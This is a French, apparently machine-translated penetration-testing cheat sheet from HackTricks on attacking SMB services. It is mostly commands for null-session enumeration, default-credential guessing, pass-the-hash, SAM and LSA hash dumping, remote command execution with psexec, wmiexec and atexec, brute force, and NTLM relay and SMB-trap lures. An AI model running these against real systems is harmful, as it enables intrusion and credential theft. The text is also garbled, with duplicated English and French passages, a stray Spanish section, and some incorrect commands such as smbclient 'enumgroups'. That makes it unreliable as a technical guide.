hacktricks/network-services-pentesting/pentesting-smb.md

## **Port 139**

**NetBIOS** signifie _Network Basic Input Output System_. C'est un protocole logiciel qui permet aux applications, aux PC et aux ordinateurs de bureau sur un réseau local (LAN) de communiquer avec le matériel réseau et de transmettre des données à travers le réseau. Les applications logicielles qui s'exécutent sur un réseau NetBIOS localisent et identifient les uns les autres via leurs noms NetBIOS. Un nom NetBIOS est long de 16 caractères maximum et généralement distinct du nom de l'ordinateur. Deux applications commencent une session NetBIOS lorsqu'un client envoie une commande pour "appeler" un autre client (le serveur) via le **port TCP 139**. (extrait de [ici](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
```
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
```
## Port 445

Alors que le port 139 est connu techniquement sous le nom de "NBT sur IP", le port 445 est "SMB sur IP". **SMB** signifie "Server Message Blocks". Le Server Message Block dans le langage moderne est également connu sous le nom de **Common Internet File System**. Le système fonctionne comme un protocole réseau de couche d'application principalement utilisé pour offrir un accès partagé à des fichiers, des imprimantes, des ports série et d'autres types de communications entre des nœuds sur un réseau.

Par exemple, sur Windows, SMB peut fonctionner directement sur TCP/IP sans avoir besoin de NetBIOS sur TCP/IP. Cela utilisera, comme vous l'avez souligné, le port 445. Sur d'autres systèmes, vous trouverez des services et des applications utilisant le port 139. Cela signifie que SMB fonctionne avec NetBIOS sur TCP/IP\*\*.\*\* (extrait d'[ici](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
```
445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB

Le protocole **Server Message Block** (`SMB`) est un protocole **client-serveur** qui régule l'**accès aux fichiers** et aux répertoires entiers ainsi qu'à d'autres ressources réseau telles que les imprimantes, les routeurs ou les interfaces publiées pour le réseau. Le principal domaine d'application du protocole a été la série de systèmes d'exploitation **Windows**, en particulier, dont les services réseau prennent en charge SMB de manière compatible avec les versions antérieures - ce qui signifie que les appareils avec des éditions plus récentes peuvent facilement communiquer avec des appareils qui ont un système d'exploitation Microsoft plus ancien installé.\
Avec le projet de logiciel libre **Samba**, il existe également une solution qui permet l'utilisation de **SMB sous Linux** et les distributions Unix et donc la communication interplateforme via SMB.

Un serveur SMB peut fournir **des parties arbitraires de son système de fichiers local en tant que partages**. Par conséquent, la **hiérarchie visible** pour un client est partiellement **indépendante** de la **structure** sur le **serveur**. Les **droits d'accès** sont définis par des `Listes de contrôle d'accès` (`ACL`). Ils peuvent être contrôlés de manière **fine** en fonction d'attributs tels que **`exécuter`**, **`lire`** et **`accès complet`** pour des utilisateurs individuels ou des groupes d'utilisateurs. Les **ACL** sont définis **en fonction des partages** et ne correspondent donc pas aux droits attribués localement sur le serveur.

### Partage IPC$

Extrait du livre _**Network Security Assessment 3rd edition**_

Avec une session nulle anonyme, vous pouvez accéder au partage IPC$ et interagir avec les services exposés via des pipes nommés. L'utilitaire enum4linux dans Kali Linux est particulièrement utile; avec lui, vous pouvez obtenir les informations suivantes:

* Informations sur le système d'exploitation
* Détails du domaine parent
* Une liste des utilisateurs et des groupes locaux
* Détails des partages SMB disponibles
* La politique de sécurité système effective

## Qu'est-ce que NTLM

Si vous ne savez pas ce qu'est NTLM ou si vous voulez savoir comment cela fonctionne et comment l'exploiter, vous trouverez très intéressante cette page sur **NTLM** où est expliqué **comment fonctionne ce protocole et comment vous pouvez en profiter:**

{% content-ref url="../windows-hardening/ntlm/" %}
[ntlm](../windows-hardening/ntlm/)
{% endcontent-ref %}

## **Énumération du serveur**

### **Analyser** un réseau à la recherche d'hôtes:
```bash
nbtscan -r 192.168.0.1/24
```
### Version du serveur SMB

Pour rechercher d'éventuelles failles dans la version SMB, il est important de savoir quelle version est utilisée. Si cette information n'apparaît pas dans d'autres outils utilisés, vous pouvez :

* Utiliser le module auxiliaire **MSF** \_**auxiliary/scanner/smb/smb\_version**
* Ou utiliser ce script :
```bash
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
### **Recherche d'exploit**

---

#### **Metasploit**

Metasploit est un outil très puissant pour la recherche d'exploits. Il est très facile à utiliser et dispose d'une grande base de données d'exploits. Pour rechercher des exploits SMB, vous pouvez utiliser la commande suivante :

```
msf > search type:exploit platform:windows smb
```

Cela vous donnera une liste d'exploits pour les systèmes d'exploitation Windows qui ciblent le protocole SMB.

#### **Exploit-DB**

Exploit-DB est une base de données publique d'exploits. Vous pouvez rechercher des exploits SMB en utilisant le site web d'Exploit-DB ou en utilisant la commande suivante dans le terminal :

```
searchsploit smb
```

Cela vous donnera une liste d'exploits pour le protocole SMB.

#### **GitHub**

GitHub est une plateforme de développement de logiciels qui héberge également de nombreux projets de sécurité. Vous pouvez rechercher des exploits SMB en utilisant la fonction de recherche de GitHub ou en utilisant la commande suivante dans le terminal :

```
smb exploit site:github.com
```

Cela vous donnera une liste de projets GitHub qui contiennent des exploits pour le protocole SMB.
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
### Identifiants Possibles

| **Nom d'utilisateur(s)** | **Mots de passe courants**                |
| ------------------------ | ----------------------------------------- |
| _(vide)_                 | _(vide)_                                  |
| invité                   | _(vide)_                                  |
| Administrateur, admin    | _(vide)_, mot de passe, administrateur, admin |
| arcserve                 | arcserve, backup                           |
| tivoli, tmersrvd         | tivoli, tmersrvd, admin                    |
| backupexec, backup       | backupexec, backup, arcada                 |
| test, lab, demo          | mot de passe, test, lab, demo              |

### Informations sur l'environnement SMB

### Obtenir des informations
```bash
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>

#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb  --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information

#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
### Énumérer les utilisateurs, les groupes et les utilisateurs connectés

Il est important de connaître les utilisateurs et les groupes présents sur le système cible pour pouvoir effectuer une attaque efficace. Voici quelques commandes utiles pour l'énumération des utilisateurs, des groupes et des utilisateurs connectés.

#### Énumération des utilisateurs

La commande suivante permet d'obtenir une liste des utilisateurs présents sur le système :

```
$ smbclient -L //IP_ADDRESS -U ""%"" 
```

#### Énumération des groupes

La commande suivante permet d'obtenir une liste des groupes présents sur le système :

```
$ smbclient -L //IP_ADDRESS -U ""%"" -c 'enumgroups' 
```

#### Énumération des utilisateurs connectés

La commande suivante permet d'obtenir une liste des utilisateurs connectés au système :

```
$ smbstatus 
```
```bash
# This info should already being gathered from enum4linux and enum4linux-ng
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]

ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "

rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups

# Impacket - Enumerate local users
lookupsid.py -no-pass hostname.local

# Metasploit - Enumerate local users
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
```
### **Énumération de LSARPC et SAMR rpcclient**

{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %}
[rpcclient-enumeration.md](pentesting-smb/rpcclient-enumeration.md)
{% endcontent-ref %}

### Connexion GUI depuis Linux

#### Dans le terminal :

`xdg-open smb://cascade.htb/`

#### Dans la fenêtre du navigateur de fichiers (nautilus, thunar, etc)

`smb://friendzone.htb/general/`

## Énumération des dossiers partagés

### Liste des dossiers partagés

Il est toujours recommandé de vérifier si vous pouvez accéder à quelque chose. Si vous n'avez pas de justificatifs d'identité, essayez d'utiliser les **identifiants nuls/utilisateur invité**.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash

smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list

crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
```
### **Connexion/Liste d'un dossier partagé**

#### **Connect to a shared folder**

#### **Connexion à un dossier partagé**

You can connect to a shared folder using the `smbclient` tool:

Vous pouvez vous connecter à un dossier partagé en utilisant l'outil `smbclient` :

```bash
smbclient //<ip>/<share_name> -U <username>
```

For example:

Par exemple :

```bash
smbclient //192.168.1.10/share -U john
```

If the connection is successful, you will be prompted to enter the password for the specified user.

Si la connexion réussit, vous serez invité à entrer le mot de passe de l'utilisateur spécifié.

#### **List shared folders**

#### **Liste des dossiers partagés**

You can list the available shared folders on a remote host using the `smbclient` tool:

Vous pouvez lister les dossiers partagés disponibles sur un hôte distant en utilisant l'outil `smbclient` :

```bash
smbclient -L //<ip> -U <username>
```

For example:

Par exemple :

```bash
smbclient -L //192.168.1.10 -U john
```

If the connection is successful, you will be prompted to enter the password for the specified user. Once authenticated, a list of available shared folders will be displayed.
```bash
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls'  to list recursively with smbclient

#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
### **Énumérer manuellement les partages Windows et s'y connecter**

Il est possible que vous soyez restreint à afficher les partages de la machine hôte et lorsque vous essayez de les lister, il semble qu'il n'y ait aucun partage auquel se connecter. Ainsi, il pourrait être utile d'essayer de se connecter manuellement à un partage. Pour énumérer les partages manuellement, vous voudrez peut-être rechercher des réponses telles que NT\_STATUS\_ACCESS\_DENIED et NT\_STATUS\_BAD\_NETWORK\_NAME, lors de l'utilisation d'une session valide (par exemple, une session nulle ou des identifiants valides). Celles-ci peuvent indiquer si le partage existe et que vous n'y avez pas accès ou si le partage n'existe pas du tout.

Les noms de partage courants pour les cibles Windows sont

* C$
* D$
* ADMIN$
* IPC$
* PRINT$
* FAX$
* SYSVOL
* NETLOGON

(Noms de partage courants tirés de _**Network Security Assessment 3rd edition**_)

Vous pouvez essayer de vous y connecter en utilisant la commande suivante
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
ou ce script (en utilisant une session nulle)
```bash
#/bin/bash

ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')

for share in ${shares[*]}; do
    output=$(smbclient -U '%' -N \\\\$ip\\$share -c '') 

    if [[ -z $output ]]; then 
        echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
    else
        echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
    fi
done
```
Here is an example of a translation:

### SMB

#### Enumeración

##### Enumeración de usuarios

La enumeración de usuarios se puede realizar utilizando herramientas como `enum4linux` o `smbmap`. Ambas herramientas pueden ser instaladas en Kali Linux.

##### Enumeración de recursos compartidos

La enumeración de recursos compartidos se puede realizar utilizando herramientas como `smbclient`, `smbmap` o `nmap`. `smbclient` y `smbmap` pueden ser instalados en Kali Linux, mientras que `nmap` ya viene preinstalado.

#### Explotación

##### Ataque de fuerza bruta

El ataque de fuerza bruta se puede realizar utilizando herramientas como `hydra` o `medusa`. Ambas herramientas pueden ser instaladas en Kali Linux.

##### Ataque de relay

El ataque de relay se puede realizar utilizando herramientas como `ntlmrelayx` o `impacket`. Ambas herramientas pueden ser instaladas en Kali Linux.

##### Ataque de sesión

El ataque de sesión se puede realizar utilizando herramientas como `smbclient` o `impacket`. Ambas herramientas pueden ser instaladas en Kali Linux.
```bash
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### Monter un dossier partagé
```bash
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **Télécharger des fichiers**

Lisez les sections précédentes pour apprendre comment vous connecter avec des identifiants/Pass-the-Hash.
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
```

```bash
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory
```
Commandes :

* mask : spécifie le masque qui est utilisé pour filtrer les fichiers dans le répertoire (par exemple, "" pour tous les fichiers)
* recurse : active la récursivité (par défaut : désactivée)
* prompt : active/désactive la demande de confirmation pour les noms de fichiers (par défaut : activée)
* mget : copie tous les fichiers correspondant au masque de l'hôte vers la machine cliente

(_Information provenant de la page de manuel de smbclient_)

### Recherche de dossiers partagés de domaine

* [**Snaffler**](https://github.com/SnaffCon/Snaffler)****
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) araignée.
  * `-M spider_plus [--share <nom_partage>]`
  * `--pattern txt`
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Particulièrement intéressants depuis les partages sont les fichiers appelés **`Registry.xml`** car ils **peuvent contenir des mots de passe** pour les utilisateurs configurés avec **l'autologon** via la stratégie de groupe. Ou les fichiers **`web.config`** car ils contiennent des informations d'identification.

{% hint style="info" %}
Le partage **SYSVOL** est **lisible** par tous les utilisateurs authentifiés dans le domaine. Vous pouvez y **trouver** de nombreux scripts batch, VBScript et PowerShell **différents**.\
Vous devriez **vérifier** les **scripts** à l'intérieur car vous pourriez **trouver** des informations sensibles telles que des **mots de passe**.
{% endhint %}

## Lire le registre

Vous pouvez être en mesure de **lire le registre** en utilisant des informations d'identification découvertes. Impacket **`reg.py`** vous permet d'essayer :
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
## Post Exploitation

La configuration par défaut d'un serveur **Samba** est généralement située dans `/etc/samba/smb.conf` et peut comporter des configurations **dangereuses** :

| **Paramètre**                | **Description**                                                     |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes`          | Autoriser l'affichage des partages disponibles dans le partage actuel ? |
| `read only = no`            | Interdire la création et la modification de fichiers ?                      |
| `writable = yes`            | Autoriser les utilisateurs à créer et modifier des fichiers ?                             |
| `guest ok = yes`            | Autoriser la connexion au service sans utiliser de mot de passe ?           |
| `enable privileges = yes`   | Respecter les privilèges attribués à un SID spécifique ?                          |
| `create mask = 0777`        | Quels sont les droits à attribuer aux fichiers nouvellement créés ?       |
| `directory mask = 0777`     | Quels sont les droits à attribuer aux répertoires nouvellement créés ? |
| `logon script = script.sh`  | Quel script doit être exécuté lors de la connexion de l'utilisateur ?               |
| `magic script = script.sh`  | Quel script doit être exécuté lorsque le script est fermé ?        |
| `magic output = script.out` | Où doit être stockée la sortie du script magique ?            |

La commande `smbstatus` fournit des informations sur le **serveur** et sur **qui est connecté**.

## Authentification à l'aide de Kerberos

Vous pouvez vous **authentifier** à **Kerberos** en utilisant les outils **smbclient** et **rpcclient** :
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
```
## **Exécuter des commandes**

### **crackmapexec**

crackmapexec peut exécuter des commandes en **abusant** de l'un des outils suivants : **mmcexec, smbexec, atexec, wmiexec**, étant donné que **wmiexec** est la méthode **par défaut**. Vous pouvez indiquer quelle option vous préférez utiliser avec le paramètre `--exec-method`:
```bash
apt-get install crackmapexec

crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)

Les deux options vont **créer un nouveau service** (en utilisant _\pipe\svcctl_ via SMB) sur la machine victime et l'utiliser pour **exécuter quelque chose** (**psexec** va **télécharger** un fichier exécutable sur le partage ADMIN$ et **smbexec** va pointer vers **cmd.exe/powershell.exe** et mettre en arguments la charge utile --**technique sans fichier-**-).\
**Plus d'informations** sur [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md) et [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
Dans **kali**, il est situé dans /usr/share/doc/python3-impacket/examples/.
```bash
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
En utilisant le **paramètre** `-k`, vous pouvez vous authentifier contre **kerberos** au lieu de **NTLM**.

### [wmiexec](../windows-hardening/ntlm/wmicexec.md)/dcomexec

Exécutez furtivement un shell de commande sans toucher le disque ou exécuter un nouveau service en utilisant DCOM via **le port 135.**\
Dans **kali**, il est situé dans /usr/share/doc/python3-impacket/examples/.
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
En utilisant le **paramètre** `-k`, vous pouvez vous authentifier contre **kerberos** au lieu de **NTLM**.
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
### [AtExec](../windows-hardening/ntlm/atexec.md)

Exécuter des commandes via le Planificateur de tâches (en utilisant _\pipe\atsvc_ via SMB).\
Dans **kali**, il est situé dans /usr/share/doc/python3-impacket/examples/
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
```
## Référence Impacket

[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)

## **Forcer les identifiants des utilisateurs**

**Ceci n'est pas recommandé, vous pourriez bloquer un compte si vous dépassez le nombre maximum de tentatives autorisées**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## Attaque de relais SMB

Cette attaque utilise l'outil Responder pour **capturer les sessions d'authentification SMB** sur un réseau interne, et les **relayer** vers une **machine cible**. Si la **session d'authentification réussit**, elle vous fera automatiquement accéder à une **invite de commande système**.\
[**Plus d'informations sur cette attaque ici.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)

## SMB-Trap

La bibliothèque Windows URLMon.dll essaie automatiquement de s'authentifier sur l'hôte lorsqu'une page tente d'accéder à un contenu via SMB, par exemple : `img src="\\10.10.10.10\path\image.jpg"`

Cela se produit avec les fonctions suivantes :

* URLDownloadToFile
* URLDownloadToCache
* URLOpenStream
* URLOpenBlockingStream

Qui sont utilisées par certains navigateurs et outils (comme Skype)

![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>)

### SMBTrap en utilisant MitMf

![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>)

## Vol de NTLM

Similaire à SMB Trapping, le fait de placer des fichiers malveillants sur un système cible (via SMB, par exemple) peut provoquer une tentative d'authentification SMB, permettant à la valeur de hachage NetNTLMv2 d'être interceptée avec un outil tel que Responder. Le hachage peut ensuite être craqué hors ligne ou utilisé dans une [attaque de relais SMB](pentesting-smb.md#smb-relay-attack).

[Voir : ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)

## Commandes automatiques HackTricks
```
Protocol_Name: SMB    #Protocol Abbreviation if there is one.
Port_Number:  137,138,139     #Comma separated if there is more than one.
Protocol_Description: Server Message Block         #Protocol Abbreviation Spelled out

Entry_1:
  Name: Notes
  Description: Notes for SMB
  Note: |
    While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.

    #These are the commands I run in order every time I see an open SMB port

    With No Creds
    nbtscan {IP}
    smbmap -H {IP}
    smbmap -H {IP} -u null -p null
    smbmap -H {IP} -u guest
    smbclient -N -L //{IP}
    smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
    rpcclient {IP}
    rpcclient -U "" {IP}
    crackmapexec smb {IP}
    crackmapexec smb {IP} --pass-pol -u "" -p ""
    crackmapexec smb {IP} --pass-pol -u "guest" -p ""
    GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
    GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
    GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
    getArch.py -target {IP}

    With Creds
    smbmap -H {IP} -u {Username} -p {Password}
    smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
    smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
    crackmapexec smb {IP} -u {Username} -p {Password} --shares
    GetADUsers.py {Domain_Name}/{Username}:{Password} -all
    GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
    GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request

    https://book.hacktricks.xyz/pentesting/pentesting-smb

Entry_2:
  Name: Enum4Linux
  Description: General SMB Scan
  Command: enum4linux -a {IP}

Entry_3:
  Name: Nmap SMB Scan 1
  Description: SMB Vuln Scan With Nmap
  Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}

Entry_4:
  Name: Nmap Smb Scan 2
  Description: SMB Vuln Scan With Nmap (Less Specific)
  Command: nmap --script smb-vuln* -Pn -p 139,445 {IP}

Entry_5:
  Name: Hydra Brute Force
  Description: Need User
  Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
  
Entry_6:
  Name: SMB/SMB2 139/445 consolesless mfs enumeration
  Description: SMB/SMB2 139/445  enumeration without the need to run msfconsole
  Note: sourced from https://github.com/carlospolop/legion
  Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit' 
    
```
<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.

</details>